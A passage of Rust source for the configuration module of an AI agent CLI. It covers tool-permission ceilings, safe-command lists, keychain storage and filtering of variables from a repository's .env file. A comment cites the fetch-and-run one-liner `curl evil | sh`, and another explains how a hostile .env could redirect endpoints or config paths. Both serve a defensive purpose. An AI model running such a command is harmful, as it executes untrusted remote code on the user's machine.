Skip to main content

leviath_cli/config/
mod.rs

1//! CLI configuration management.
2
3use leviath_mcp::MCPServerConfig;
4use leviath_providers::ModelCapabilityOverride;
5use serde::{Deserialize, Serialize};
6use std::collections::HashMap;
7use std::path::PathBuf;
8
9// Sections of the former single-file config, one per `[table]` it describes.
10// Glob re-exported so every existing `config::SecurityConfig` path keeps
11// working and the split stays a pure move.
12mod limits;
13pub use limits::*;
14mod policy;
15pub use policy::*;
16mod providers;
17pub use providers::*;
18mod security;
19pub use security::*;
20
21/// Record every dotted path in `found` that is missing from `kept`.
22///
23/// `kept` is what survived a deserialize/serialize round trip, so a path that
24/// is absent from it is one nothing read. Recurses only where both sides are
25/// tables: a value serde rewrote (an enum, a duration) is still a value it
26/// understood, and only the *keys* are being judged here.
27fn collect_dropped_keys(
28    found: &toml::value::Table,
29    kept: &toml::value::Table,
30    prefix: &str,
31    out: &mut Vec<String>,
32) {
33    for (key, value) in found {
34        let path = if prefix.is_empty() {
35            key.clone()
36        } else {
37            format!("{prefix}.{key}")
38        };
39        match kept.get(key) {
40            None => out.push(path),
41            Some(kept_value) => {
42                if let (Some(found_table), Some(kept_table)) =
43                    (value.as_table(), kept_value.as_table())
44                {
45                    collect_dropped_keys(found_table, kept_table, &path, out);
46                }
47            }
48        }
49    }
50}
51
52/// CLI configuration.
53#[derive(Debug, Clone, Serialize, Deserialize)]
54pub struct Config {
55    /// Default provider
56    #[serde(default = "default_provider_name")]
57    pub default_provider: String,
58
59    /// Provider API keys
60    #[serde(default)]
61    pub providers: ProviderConfig,
62
63    /// Agent project paths
64    #[serde(default)]
65    pub agent_paths: Vec<PathBuf>,
66
67    /// OpenRouter API key
68    #[serde(default)]
69    pub openrouter_api_key: Option<String>,
70
71    /// Ollama base URL (default http://localhost:11434)
72    #[serde(default)]
73    pub ollama_base_url: Option<String>,
74
75    /// MCP server configurations
76    #[serde(default)]
77    pub mcp_servers: Vec<MCPServerConfig>,
78
79    /// Default model override
80    #[serde(default)]
81    pub default_model: Option<String>,
82
83    /// Per-model capability overrides. Key is model ID (e.g. "my-local-llama").
84    /// Takes precedence over the provider's built-in capability table.
85    #[serde(default)]
86    pub model_capabilities: HashMap<String, ModelCapabilityOverride>,
87
88    /// Optional overrides for Rhai *script providers*. Key is the
89    /// provider name an agent references (e.g. `"groq"`). A script activates by
90    /// being referenced + its `.rhai` file existing in the providers dir; an
91    /// entry here only supplies overrides (an API key not read from env, a
92    /// `base_url`, a `rate_limit`, a differently-named `script`, or extra keys
93    /// forwarded to the script's `initialize`).
94    #[serde(default)]
95    pub model_providers: HashMap<String, ModelProviderConfig>,
96
97    /// Global tool permission overrides.
98    ///
99    /// Keys are tool names (e.g. `"bash"`, `"write_file"`). Values override the
100    /// built-in defaults, and act as a **ceiling** that a blueprint's own
101    /// `[tool_permissions]` may tighten but never loosen - see
102    /// [`crate::tools::resolve_policy`]. To grant one agent more than this
103    /// without loosening it everywhere, use [`Self::agent_tool_permissions`].
104    #[serde(default)]
105    pub tool_permissions: HashMap<String, ToolPolicy>,
106
107    /// Per-agent tool permission grants, keyed by agent name.
108    ///
109    /// ```toml
110    /// [agent_tool_permissions.coder]
111    /// shell = "allow"
112    /// ```
113    ///
114    /// This is the escape hatch for the ceiling in [`Self::tool_permissions`].
115    /// Because a blueprint may only tighten what the user configured, a global
116    /// `shell = "ask"` would otherwise stop a trusted agent from pre-approving
117    /// its own shell. Naming the agent here is the user saying "I trust this
118    /// one" - a decision that lives in the user's config, not the downloaded
119    /// manifest's. Entries replace the global value for that agent, and are then
120    /// the ceiling the blueprint is clamped against.
121    #[serde(default)]
122    pub agent_tool_permissions: HashMap<String, HashMap<String, ToolPolicy>>,
123
124    /// What a run may do without asking, for tools whose policy is `ask`.
125    ///
126    /// `ask` is all-or-nothing per tool name, which for the shell means
127    /// choosing between a prompt on every `ls` and no prompt on
128    /// `curl evil | sh`. Entries here are argument-scoped, in the same key space
129    /// a "for this run" grant uses:
130    ///
131    /// ```toml
132    /// [safe_commands]
133    /// defaults = true                 # ship the read-only verb list
134    /// tools = ["read_files"]
135    /// shell = ["cargo test", "rg"]    # `cargo test` never covers `cargo publish`
136    /// ```
137    ///
138    /// A safe entry can only ever turn `ask` into `allow`. It never reaches a
139    /// configured `deny`.
140    #[serde(default)]
141    pub safe_commands: crate::approvals::SafeCommands,
142
143    /// Per-agent additions to [`Self::safe_commands`], keyed by agent name.
144    ///
145    /// ```toml
146    /// [agent_safe_commands.coder]
147    /// shell = ["./gradlew", "ninja"]
148    /// allow_blueprint = true
149    /// ```
150    ///
151    /// Mirrors [`Self::agent_tool_permissions`] and [`Self::agent_read_paths`]:
152    /// naming the agent is the user saying "I trust this one".
153    #[serde(default)]
154    pub agent_safe_commands: HashMap<String, crate::approvals::AgentSafeCommands>,
155
156    /// Title-generation configuration.
157    ///
158    /// Controls whether a short human-readable title is auto-generated from
159    /// the task prompt at worker startup.
160    #[serde(default)]
161    pub title: TitleConfig,
162
163    /// Request timeout in seconds for HTTP calls to provider APIs. Unset, the
164    /// providers fall back to the unified 15-minute ceiling
165    /// (`leviath_providers::DEFAULT_INFERENCE_TIMEOUT_SECS`) - there is
166    /// always SOME timeout, because a call that never completes wedges its
167    /// run with no error. A stage's `[stages.<name>.model]
168    /// request_timeout_secs` overrides either value for that stage's requests.
169    #[serde(default)]
170    pub request_timeout_secs: Option<u64>,
171
172    /// Client-side rate limits for the built-in providers, keyed by provider
173    /// name (`anthropic`, `openai`, `google`, `openrouter`).
174    ///
175    /// ```toml
176    /// [rate_limits.anthropic]
177    /// requests_per_minute = 50
178    /// tokens_per_minute = 40000
179    /// ```
180    ///
181    /// Script providers configure theirs via
182    /// `[model_providers.<name>] rate_limit` instead.
183    #[serde(default)]
184    pub rate_limits: HashMap<String, leviath_providers::RateLimitConfig>,
185
186    /// Global master switch for taint tracking / data-flow enforcement.
187    ///
188    /// **Off by default (opt-in).** When `true`, every agent enforces taint
189    /// tracking by default; individual agents or stages can opt out via a
190    /// `[security] taint_tracking = false` block. When `false`, an agent still
191    /// opts *in* by setting `taint_tracking = true` in its own `[security]`.
192    #[serde(default)]
193    pub taint_tracking: bool,
194
195    /// Runtime resource limits (inference concurrency + iteration caps).
196    #[serde(default)]
197    pub limits: LimitsConfig,
198
199    /// Global master switch for the batch-tool-calls system-prompt hint.
200    ///
201    /// **On by default (opt-out).** When `true`, every stage's request carries a
202    /// short hint telling the model it may emit several `tool_use` blocks in one
203    /// response and should batch *independent* operations (but never dependent
204    /// ones) to cut API round trips. Individual agents or stages can opt out by
205    /// setting `batch_tool_hint = false` in their `[agent]` / `[stages.<name>]`
206    /// blocks; when this global is `false`, they opt back *in* by setting it to
207    /// `true` at the narrower scope.
208    #[serde(default = "default_true")]
209    pub batch_tool_hint: bool,
210
211    /// Global master switch for the platform shell hint.
212    ///
213    /// **On by default (opt-out).** When `true`, a stage that advertises the
214    /// `shell` tool carries a short system block describing the shell it will
215    /// actually get, so the model doesn't spend iterations discovering it. The
216    /// hint is emitted only where the platform warrants one (today: Windows,
217    /// where commands run through `cmd.exe /C` rather than a POSIX shell), so
218    /// on Linux and macOS this toggle costs nothing either way. Individual
219    /// agents or stages override it with `shell_hint` in their `[agent]` /
220    /// `[stages.<name>]` blocks.
221    #[serde(default = "default_true")]
222    pub shell_hint: bool,
223
224    /// Machine-wide defaults for the empty-response nudge (`[nudge]`): the
225    /// `[System]` message injected when a stage's model replies with text
226    /// before making any tool call. All three keys (`enabled`, `max`, `text`)
227    /// are optional; an agent's `[agent.nudge]` or a stage's
228    /// `[stages.<name>.nudge]` overrides each field independently. See
229    /// [`leviath_core::resolve_nudge`].
230    #[serde(default)]
231    pub nudge: leviath_core::NudgeConfig,
232
233    /// Completion-webhook delivery tuning (retry/backoff/timeout).
234    #[serde(default)]
235    pub webhook: WebhookConfig,
236
237    /// Structured observability export (OpenTelemetry). Off by default; when
238    /// enabled the daemon exports run/stage/inference/tool spans, metrics, and
239    /// trace-correlated log records for every agent run. The standard
240    /// `OTEL_EXPORTER_OTLP_ENDPOINT` / `OTEL_SERVICE_NAME` env vars fill any
241    /// hole the file leaves, same as the provider keys.
242    #[serde(default)]
243    pub observability: ObservabilityConfig,
244
245    /// Machine-wide default sandbox for tool execution. An agent's own
246    /// `[sandbox]` (or a stage's) overrides this; when unset, agents run tools
247    /// on the host unless they opt in themselves. See
248    /// [`leviath_core::resolve_sandbox`].
249    #[serde(default, skip_serializing_if = "Option::is_none")]
250    pub sandbox: Option<leviath_core::ToolSandboxConfig>,
251
252    /// Per-host-function permissions for Rhai script tools (Layer 3). Gates what
253    /// a registered script tool may *do* (network, shell, file, env access).
254    #[serde(default)]
255    pub tool_script_permissions: ScriptToolPermissions,
256
257    /// Machine-wide security switches that aren't part of the per-tool
258    /// permission cascade. (The global taint master switch stays the top-level
259    /// [`Self::taint_tracking`] key for back-compat.)
260    #[serde(default)]
261    pub security: SecurityConfig,
262
263    /// Per-agent read grants, keyed by agent name - the itemized counterpart
264    /// of [`SecurityConfig::allow_blueprint_read_paths`], analogous to
265    /// [`Self::agent_tool_permissions`]:
266    ///
267    /// ```toml
268    /// [agent_read_paths.cto]
269    /// allow = ["~/.leviath/runs", "glob:~/design-docs/**"]
270    /// ```
271    ///
272    /// Naming the agent here is the user saying "I trust this one to read
273    /// these" - a decision that lives in the user's config, not the
274    /// downloaded manifest. As with `[security] read_paths`, a grant only
275    /// takes effect for a path the blueprint also declares.
276    #[serde(default)]
277    pub agent_read_paths: HashMap<String, ReadPathGrants>,
278}
279
280impl Default for Config {
281    fn default() -> Self {
282        Self {
283            default_provider: "anthropic".to_string(),
284            providers: ProviderConfig {
285                anthropic_api_key: None,
286                openai_api_key: None,
287                google_api_key: None,
288                claude_code_enabled: false,
289                claude_code_binary: None,
290                claude_code_effort: None,
291                anthropic_cache_ttl: None,
292                fallback_order: Vec::new(),
293            },
294            agent_paths: Vec::new(),
295            openrouter_api_key: None,
296            ollama_base_url: None,
297            mcp_servers: Vec::new(),
298            default_model: None,
299            model_capabilities: HashMap::new(),
300            model_providers: HashMap::new(),
301            tool_permissions: HashMap::new(),
302            agent_tool_permissions: HashMap::new(),
303            safe_commands: crate::approvals::SafeCommands::default(),
304            agent_safe_commands: HashMap::new(),
305            title: TitleConfig::default(),
306            request_timeout_secs: None,
307            rate_limits: HashMap::new(),
308            taint_tracking: false,
309            limits: LimitsConfig::default(),
310            batch_tool_hint: true,
311            shell_hint: true,
312            nudge: leviath_core::NudgeConfig::default(),
313            webhook: WebhookConfig::default(),
314            observability: ObservabilityConfig::default(),
315            sandbox: None,
316            tool_script_permissions: ScriptToolPermissions::default(),
317            security: SecurityConfig::default(),
318            agent_read_paths: HashMap::new(),
319        }
320    }
321}
322
323impl Config {
324    /// The permission ceiling to apply to `agent_name`: the global
325    /// `[tool_permissions]` with that agent's `[agent_tool_permissions.<name>]`
326    /// entries laid over it.
327    ///
328    /// Returned by value (rather than as two maps threaded through
329    /// [`crate::tools::resolve_policy`]) so the ceiling is resolved exactly once,
330    /// at spawn, and every later lookup reads a single flat map.
331    pub fn permissions_for_agent(&self, agent_name: &str) -> HashMap<String, ToolPolicy> {
332        let mut merged = self.tool_permissions.clone();
333        if let Some(per_agent) = self.agent_tool_permissions.get(agent_name) {
334            merged.extend(per_agent.iter().map(|(k, v)| (k.clone(), *v)));
335        }
336        merged
337    }
338
339    /// The safe-command keys in effect for `agent_name`, and where each came
340    /// from. Resolved once at spawn, mirroring [`Self::permissions_for_agent`].
341    ///
342    /// `blueprint` is the manifest's own `[safe_commands]`, which contributes
343    /// only when the user opted in - see
344    /// [`crate::approvals::resolve_safe_keys`].
345    pub fn safe_keys_for_agent(
346        &self,
347        agent_name: &str,
348        blueprint: Option<&leviath_core::blueprint::SafeCommandsConfig>,
349    ) -> std::collections::BTreeMap<String, crate::approvals::SafeSource> {
350        crate::approvals::resolve_safe_keys(
351            &self.safe_commands,
352            self.agent_safe_commands.get(agent_name),
353            blueprint,
354            self.security.allow_blueprint_safe_commands,
355        )
356    }
357
358    /// Every read-path grant that applies to `agent_name`: the machine-wide
359    /// `[security] read_paths` list plus that agent's
360    /// `[agent_read_paths.<name>]` entries. Resolved once at spawn, mirroring
361    /// [`Self::permissions_for_agent`].
362    pub fn read_path_grants_for_agent(&self, agent_name: &str) -> Vec<String> {
363        let mut grants = self.security.read_paths.clone();
364        if let Some(per_agent) = self.agent_read_paths.get(agent_name) {
365            grants.extend(per_agent.allow.iter().cloned());
366        }
367        grants
368    }
369
370    /// Load configuration from the default location (~/.leviath/config.toml).
371    ///
372    /// After loading from file (or using defaults), environment variables are
373    /// checked as fallbacks. Env vars override config file values if set.
374    pub fn load() -> anyhow::Result<Self> {
375        // In the crate's own test build, refuse to read the *real* environment.
376        //
377        // `Config::load()` reads process-wide state, and `cargo test` runs tests
378        // in parallel threads of one process. `temp_env` serializes its own
379        // calls behind a global lock, but a test that reaches this function
380        // without going through that lock races every test that holds it - so
381        // it sees whatever variables happen to be set or unset at that instant.
382        // That is not hypothetical: the `serve` CORS test failed on CI in two
383        // different places depending on when it lost the race, each time
384        // accusing code that was correct.
385        //
386        // Making it a hard error rather than an audit means the next test to
387        // reach here unisolated fails immediately and locally, with the fix in
388        // the message, instead of flaking on someone else's pull request months
389        // later.
390        #[cfg(test)]
391        assert!(
392            std::env::var_os("LEVIATH_CONFIG_PATH").is_some(),
393            "Config::load() reached from a test that has not isolated the \
394             environment. Wrap the test in `config::with_isolated_config_path` \
395             (or `..._async`), which both points this at a scratch config and \
396             takes the same process-wide lock every other env-touching test \
397             holds. Without it this test races them and fails intermittently, \
398             somewhere else."
399        );
400
401        // Load a `.env` from the current directory only.
402        //
403        // `dotenvy::dotenv()` searches the cwd *and every ancestor*, which is
404        // the wrong shape for a coding agent: `lev` is designed to be run inside
405        // cloned repositories, so an untrusted repo's `.env` - or one in any
406        // directory above it - was loaded into the process environment. That is
407        // load-bearing well beyond provider keys: `PATH` and `SHELL` decide what
408        // gets executed, `EDITOR`/`VISUAL` are split and spawned, `OLLAMA_HOST`
409        // redirects inference to an attacker's endpoint, `LEVIATH_HOME`
410        // relocates the directories agent scripts are discovered from, and
411        // `LEVIATH_API_TOKEN` sets a known credential on the agent-spawning API.
412        //
413        // `from_filename` reads only `./.env`, one directory the user chose
414        // rather than an unbounded walk up the tree. That narrowed the blast
415        // radius without closing it: a cloned repository *is* the working
416        // directory, so `./.env` is still attacker-authored on any repo the user
417        // did not write.
418        //
419        // dotenvy does not override an already-set variable, which covers `PATH`
420        // and `HOME` in practice - but not a variable that is normally unset,
421        // and those are the ones that matter. A single line of
422        // `LEVIATH_CONFIG_PATH=./.leviath.toml` makes the next statement read an
423        // attacker's config: their `[mcp_servers]` commands, their
424        // `[tool_permissions]`, their provider `base_url`. So the names that
425        // steer the process are filtered out, and the credentials this feature
426        // exists to load are not. See `leviath_core::dotenv_var_allowed`.
427        //
428        // `LEVIATH_SKIP_DOTENV` lets tests isolate `Config::load()` completely.
429        if std::env::var_os("LEVIATH_SKIP_DOTENV").is_none() {
430            load_dotenv_filtered(".env");
431        }
432
433        let config = Self::load_from_path(&Self::config_path())?;
434
435        // Check config file permissions on Unix
436        check_permissions();
437
438        Ok(config)
439    }
440
441    /// Say so when the config file holds a key nothing reads.
442    ///
443    /// Serde ignores unknown fields, so a misspelled or long-removed table sat
444    /// in `config.toml` doing nothing and saying nothing - `[cache] ttl` being
445    /// the reported case (#362). A warning rather than a hard error on
446    /// purpose: a blueprint is authored and validated deliberately, but this
447    /// file is long-lived and read by *every* command, so refusing to load it
448    /// over one stale key would take the whole CLI down rather than the one
449    /// thing that key was meant to affect.
450    ///
451    /// Reported at every depth, so `[limits] max_concurrent_tool` is named as
452    /// readily as a whole unknown table (#365).
453    fn warn_unknown_config_keys(content: &str) {
454        let unknown = Self::unknown_config_keys(content);
455        if !unknown.is_empty() {
456            // Joined before the macro, not inside it: a field expression only
457            // runs when a subscriber is interested at the callsite, so as an
458            // argument this read as uncovered under the 100% gate however the
459            // test installed its subscriber.
460            let keys = unknown.join(", ");
461            tracing::warn!(
462                %keys,
463                "config.toml has keys nothing reads; they are being ignored. \
464                 `lev doctor` reports them too, if this scrolls past."
465            );
466        }
467    }
468
469    /// Keys in the config file at `path` that nothing reads.
470    ///
471    /// The same answer the start-up warning gives, available to anyone who
472    /// wants to *ask* rather than having to catch it scrolling past - which is
473    /// what `lev doctor` does with it. An unreadable or absent file has no
474    /// unread keys, because that is a different problem and one the caller has
475    /// already reported.
476    pub fn unread_keys_at(path: &std::path::Path) -> Vec<String> {
477        std::fs::read_to_string(path)
478            .map(|content| Self::unknown_config_keys(&content))
479            .unwrap_or_default()
480    }
481
482    /// The decision behind [`Self::warn_unknown_config_keys`], as data.
483    ///
484    /// Split out because the warning-shaped version could only be tested by
485    /// asserting the config still loaded, which it does whether or not a single
486    /// key is ever reported - the first version of this shipped a `parse` that
487    /// silently returned early on every real config, and that test passed
488    /// anyway.
489    ///
490    /// `toml::from_str::<Table>` and not `content.parse::<toml::Value>()`: the
491    /// latter parses a bare TOML *value*, so a document failed at the first
492    /// `=` and this returned empty every time.
493    ///
494    /// # How a key is judged unknown
495    ///
496    /// By asking serde, rather than by consulting a list somebody has to
497    /// remember to update: deserialize the file into [`Config`], serialize that
498    /// straight back to TOML, and report any path in the input that did not
499    /// survive the round trip. Serde keeps what it understands and drops what
500    /// it does not, so the round trip *is* the definition of "read".
501    ///
502    /// Three things fall out of that for free:
503    ///
504    /// - It works at any depth, without knowing the shape of anything.
505    /// - It stays true as fields come and go, with nothing to maintain.
506    /// - It respects `#[serde(flatten)]`. `[model_providers.<name>]`
507    ///   deliberately absorbs unrecognised keys and forwards them to a Rhai
508    ///   script, and those keys round-trip, so they are not reported. Where
509    ///   serde keeps the data, this stays quiet.
510    ///
511    /// An earlier attempt compared against `Config::default()` instead, which
512    /// was wrong in a way worth recording: TOML cannot represent null, so every
513    /// `Option` still at `None` vanishes from the *default's* serialized form
514    /// and five real keys read as unknown. Round-tripping the user's own config
515    /// does not have that problem, because a field they set is a field that
516    /// serializes.
517    fn unknown_config_keys(content: &str) -> Vec<String> {
518        let Ok(found) = toml::from_str::<toml::value::Table>(content) else {
519            return Vec::new();
520        };
521        // A file that is TOML but not a config has no *unknown* keys to report
522        // - it has a type error, which whoever asked for it reports instead.
523        let Ok(config) = toml::from_str::<Self>(content) else {
524            return Vec::new();
525        };
526        // Infallible, and said with `expect` rather than a branch nothing can
527        // reach: every field of `Config` is plain data with a derived
528        // `Serialize`, and a struct always serializes to a table.
529        let kept = toml::Value::try_from(config).expect("a Config is plain data and serializes");
530        let kept = kept.as_table().expect("a struct serializes to a table");
531
532        let mut unknown = Vec::new();
533        collect_dropped_keys(&found, kept, "", &mut unknown);
534        unknown
535    }
536
537    /// Core of `load()`, parameterized by path so it can be exercised in
538    /// tests against a tempfile instead of the real `~/.leviath/config.toml`.
539    fn load_from_path(path: &std::path::Path) -> anyhow::Result<Self> {
540        let mut config = if !path.exists() {
541            let path_display = path.display();
542            tracing::debug!("No config file found at {}, using defaults", path_display);
543            Self::default()
544        } else {
545            let content = std::fs::read_to_string(path).map_err(|e| {
546                anyhow::anyhow!("Failed to read config from '{}': {}", path.display(), e)
547            })?;
548
549            let c: Self = toml::from_str(&content)
550                .map_err(|e| anyhow::anyhow!("Failed to parse config: {}", e))?;
551
552            Self::warn_unknown_config_keys(&content);
553
554            // Catch a malformed MCP server entry here, at load, rather than at
555            // the first tool call: a typo that drops a server's tools should
556            // fail loudly and immediately.
557            for server in &c.mcp_servers {
558                server.validate()?;
559            }
560
561            let path_display = path.display();
562            tracing::debug!("Loaded config from {}", path_display);
563            c
564        };
565
566        // Env var fallbacks (env vars override config file if set)
567        if config.providers.anthropic_api_key.is_none() {
568            config.providers.anthropic_api_key = std::env::var("ANTHROPIC_API_KEY").ok();
569        }
570        if config.providers.openai_api_key.is_none() {
571            config.providers.openai_api_key = std::env::var("OPENAI_API_KEY").ok();
572        }
573        if config.providers.google_api_key.is_none() {
574            config.providers.google_api_key = std::env::var("GOOGLE_API_KEY").ok();
575        }
576        if config.openrouter_api_key.is_none() {
577            config.openrouter_api_key = std::env::var("OPENROUTER_API_KEY").ok();
578        }
579        // OLLAMA_HOST is the standard env var for Ollama
580        if config.ollama_base_url.is_none() {
581            config.ollama_base_url = std::env::var("OLLAMA_HOST").ok();
582        }
583
584        config.fill_from_credential_store();
585
586        Ok(config)
587    }
588
589    /// Fill any provider key still unset from the configured credential store.
590    fn fill_from_credential_store(&mut self) {
591        let resolved = crate::credentials::store_for(self.security.credential_store);
592        self.fill_from_credential_store_with(resolved);
593    }
594
595    /// Core of [`fill_from_credential_store`](Self::fill_from_credential_store)
596    /// with the backend already resolved.
597    ///
598    /// Runs *after* the file and the environment, so precedence is file > env >
599    /// keychain: what the user can see wins over what they cannot. In keychain
600    /// mode `lev auth migrate` strips the keys out of the file, so in practice
601    /// the keychain is the only source - but a key left behind by hand keeps
602    /// working rather than being silently ignored, and `lev auth status` reports
603    /// when a secret exists in both places.
604    ///
605    /// A store that cannot be opened is a warning, not a hard failure. The user
606    /// may still have working keys in their environment, and refusing to load
607    /// the config at all would take down `lev auth status` - the one command
608    /// that can explain what is wrong. The resolution is the caller's so that
609    /// path is testable: "no store is installed in this process" is not the same
610    /// as "this machine has no keychain", and on a developer's Mac the first
611    /// silently becomes the second.
612    fn fill_from_credential_store_with(&mut self, resolved: crate::credentials::Resolved) {
613        match resolved {
614            Ok(Some(store)) => self.apply_credential_store(store.as_ref()),
615            // The file backend keeps its keys in this struct already.
616            Ok(None) => {}
617            Err(e) => {
618                tracing::warn!("{e}. Falling back to keys from the config file and environment.");
619            }
620        }
621    }
622
623    /// Overlay `store`'s secrets onto whichever provider keys are still unset.
624    fn apply_credential_store(&mut self, store: &dyn leviath_core::CredentialStore) {
625        let accounts: Vec<String> = crate::credentials::PROVIDER_KEYS
626            .iter()
627            .map(|p| leviath_core::provider_account(p))
628            .collect();
629        let mut found = store.read_all(&accounts);
630        let mut take = |provider: &str| found.remove(&leviath_core::provider_account(provider));
631
632        let anthropic = take("anthropic");
633        let openai = take("openai");
634        let google = take("google");
635        let openrouter = take("openrouter");
636
637        self.providers.anthropic_api_key = self.providers.anthropic_api_key.take().or(anthropic);
638        self.providers.openai_api_key = self.providers.openai_api_key.take().or(openai);
639        self.providers.google_api_key = self.providers.google_api_key.take().or(google);
640        self.openrouter_api_key = self.openrouter_api_key.take().or(openrouter);
641    }
642
643    /// This config with every provider API key removed.
644    ///
645    /// What gets serialized in keychain mode: the secrets go to the OS store and
646    /// the file keeps only the settings. Returning a stripped copy rather than
647    /// mutating in place matters - the caller is usually saving a config it is
648    /// still going to use for inference, and blanking its keys would break the
649    /// run that triggered the save.
650    fn without_secrets(&self) -> Self {
651        let mut copy = self.clone();
652        copy.providers.anthropic_api_key = None;
653        copy.providers.openai_api_key = None;
654        copy.providers.google_api_key = None;
655        copy.openrouter_api_key = None;
656        copy
657    }
658
659    /// Every provider key currently set, as `(account, secret)` pairs.
660    pub(crate) fn provider_secrets(&self) -> Vec<(String, String)> {
661        [
662            ("anthropic", self.providers.anthropic_api_key.as_deref()),
663            ("openai", self.providers.openai_api_key.as_deref()),
664            ("google", self.providers.google_api_key.as_deref()),
665            ("openrouter", self.openrouter_api_key.as_deref()),
666        ]
667        .into_iter()
668        .filter_map(|(name, key)| {
669            key.map(|k| (leviath_core::provider_account(name), k.to_string()))
670        })
671        .collect()
672    }
673
674    /// Save configuration to a path, parameterized so it can be exercised in
675    /// tests against a tempfile instead of the real `~/.leviath/config.toml`.
676    /// `pub(crate)` so in-crate callers (e.g. the `setup` wizard) can inject a
677    /// path; production writes to [`Self::config_path`].
678    pub(crate) fn save_to_path(&self, path: &std::path::Path) -> anyhow::Result<()> {
679        // Create parent directory if needed
680        if let Some(parent) = path.parent() {
681            create_config_dir(parent)?;
682        }
683
684        // In keychain mode the secrets belong in the OS store, and the file
685        // keeps only the settings - otherwise `lev setup` would helpfully write
686        // every key back into `config.toml` and quietly undo the migration.
687        //
688        // A store that cannot be written is *not* silently downgraded to writing
689        // the keys into the file: a user who asked for the keychain would end up
690        // with plaintext keys on disk and no indication of it.
691        let resolved = crate::credentials::store_for(self.security.credential_store);
692        self.write_to(path, resolved)
693    }
694
695    /// Core of [`save_to_path`](Self::save_to_path) with the backend already
696    /// resolved - see
697    /// [`fill_from_credential_store_with`](Self::fill_from_credential_store_with)
698    /// for why the resolution is the caller's.
699    fn write_to(
700        &self,
701        path: &std::path::Path,
702        resolved: crate::credentials::Resolved,
703    ) -> anyhow::Result<()> {
704        let to_write = match resolved.map_err(|e| anyhow::anyhow!("{e}"))? {
705            Some(store) => {
706                for (account, secret) in self.provider_secrets() {
707                    store
708                        .set(&account, &secret)
709                        .map_err(|e| anyhow::anyhow!("failed to store {account}: {e}"))?;
710                }
711                self.without_secrets()
712            }
713            None => self.clone(),
714        };
715
716        // Config contains only primitive-typed fields; toml serialization is infallible.
717        let content =
718            toml::to_string_pretty(&to_write).expect("Config serialization is infallible");
719
720        // `write_private`, not `fs::write` + `chmod`. This file holds every
721        // provider API key, and the two-step version left it at the umask
722        // default (typically 0644) between the write and the mode change - so
723        // every save had a moment where any local user could read the keys.
724        leviath_sys::write_private(path, content.as_bytes()).map_err(|e| {
725            anyhow::anyhow!("Failed to write config to '{}': {}", path.display(), e)
726        })?;
727
728        let path_display = path.display();
729        tracing::debug!("Saved config to {}", path_display);
730        Ok(())
731    }
732
733    /// Load a config from an explicit path (`lev mcp` uses this to read the
734    /// file it is about to rewrite). Public wrapper over the tested `load_from_path`.
735    pub fn load_from_path_public(path: &std::path::Path) -> anyhow::Result<Self> {
736        Self::load_from_path(path)
737    }
738
739    /// Save a config to an explicit path. Public wrapper over `save_to_path`, for `lev mcp` rewriting the config file.
740    pub fn save_to_path_public(&self, path: &std::path::Path) -> anyhow::Result<()> {
741        self.save_to_path(path)
742    }
743
744    /// Get the path to the config file.
745    ///
746    /// Two overrides, narrowest first: `LEVIATH_CONFIG_PATH` names this file
747    /// exactly, and `LEVIATH_HOME` (via [`leviath_core::data_dir`]) redirects it
748    /// along with every other home-relative path.
749    ///
750    /// Honoring both matters. `LEVIATH_HOME`'s whole purpose is to "redirect
751    /// every home-relative path at once" - that is what its doc says and what
752    /// tests, sandboxed runs and scratch environments rely on - so a config
753    /// path that quietly ignored it would let a run that believes it is
754    /// isolated read *and write* the developer's real `~/.leviath/config.toml`,
755    /// the file holding every provider API key. Found by doing exactly that
756    /// during live testing.
757    pub fn config_path() -> PathBuf {
758        if let Ok(override_path) = std::env::var("LEVIATH_CONFIG_PATH") {
759            return PathBuf::from(override_path);
760        }
761        leviath_core::data_dir()
762            .unwrap_or_default()
763            .join("config.toml")
764    }
765
766    // Tests for the two overrides live in the `tests` module below; see
767    // `config_path_honors_leviath_home`.
768
769    /// Validate API key formats and return warnings for suspicious keys.
770    pub fn validate_keys(&self) -> Vec<String> {
771        // A blank key means "not configured" (that is what `lev setup` writes
772        // for a provider the user skipped), so it earns no warning - warning
773        // about the shape of a key nobody set is noise that trains users to
774        // ignore the ones that matter.
775        let mut warnings = Vec::new();
776        if let Some(key) = self.providers.anthropic_api_key.as_deref()
777            && !key.trim().is_empty()
778            && !key.starts_with("sk-ant-")
779        {
780            warnings.push(
781                "Anthropic API key doesn't start with 'sk-ant-' - verify it's correct".to_string(),
782            );
783        }
784        if let Some(key) = self.providers.openai_api_key.as_deref()
785            && !key.trim().is_empty()
786            && !key.starts_with("sk-")
787        {
788            warnings
789                .push("OpenAI API key doesn't start with 'sk-' - verify it's correct".to_string());
790        }
791        warnings
792    }
793}
794
795/// The canonical `LEVIATH_HOME`-aware resolvers live in
796/// [`leviath_core::paths`]; these re-exports keep this crate's established
797/// names pointing at that single definition instead of carrying a byte-for-
798/// byte copy of it (which is exactly how the override once diverged between
799/// components). `Config::config_path()` stays separate: it has its own
800/// narrower `LEVIATH_CONFIG_PATH` override above.
801pub use leviath_core::paths::home_dir as leviath_home_dir;
802pub use leviath_core::paths::providers_dir;
803
804/// Create the config directory with restrictive permissions.
805fn create_config_dir(dir: &std::path::Path) -> anyhow::Result<()> {
806    std::fs::create_dir_all(dir)
807        .map_err(|e| anyhow::anyhow!("Failed to create config directory: {}", e))?;
808    set_dir_permissions(dir);
809    Ok(())
810}
811
812/// Set every variable in `path` that a repository's `.env` is allowed to set,
813/// warning once about the rest.
814///
815/// Matches dotenvy's own precedence: a variable already present in the
816/// environment wins, because the person who exported it meant it and a file in
817/// a directory they happened to `cd` into did not.
818///
819/// A missing or unreadable `.env` is not an error - most working directories do
820/// not have one.
821/// Re-quote an already-parsed value so dotenvy reads it back unchanged.
822///
823/// Double quotes, not single. Single quotes look right - dotenvy's *value*
824/// parser treats everything inside them literally - but its *line reader* is a
825/// separate state machine that honours `\` escapes inside single quotes. The
826/// two disagree, so a value ending in a backslash ate its own closing quote,
827/// swallowed the next line, and failed the whole document. Since the load
828/// result is discarded, every variable after it vanished with no warning.
829///
830/// Inside double quotes both layers agree on the same escape set, so escaping
831/// `\`, `"`, `$` and a newline round-trips exactly. Escaping `$` is also what
832/// stops a second substitution pass: these values were already `$VAR`-expanded
833/// by the parse that produced them.
834fn requote(value: &str) -> String {
835    let mut out = String::with_capacity(value.len() + 2);
836    out.push('"');
837    for c in value.chars() {
838        match c {
839            '\\' => out.push_str("\\\\"),
840            '"' => out.push_str("\\\""),
841            '$' => out.push_str("\\$"),
842            '\n' => out.push_str("\\n"),
843            other => out.push(other),
844        }
845    }
846    out.push('"');
847    out
848}
849
850fn load_dotenv_filtered(path: &str) {
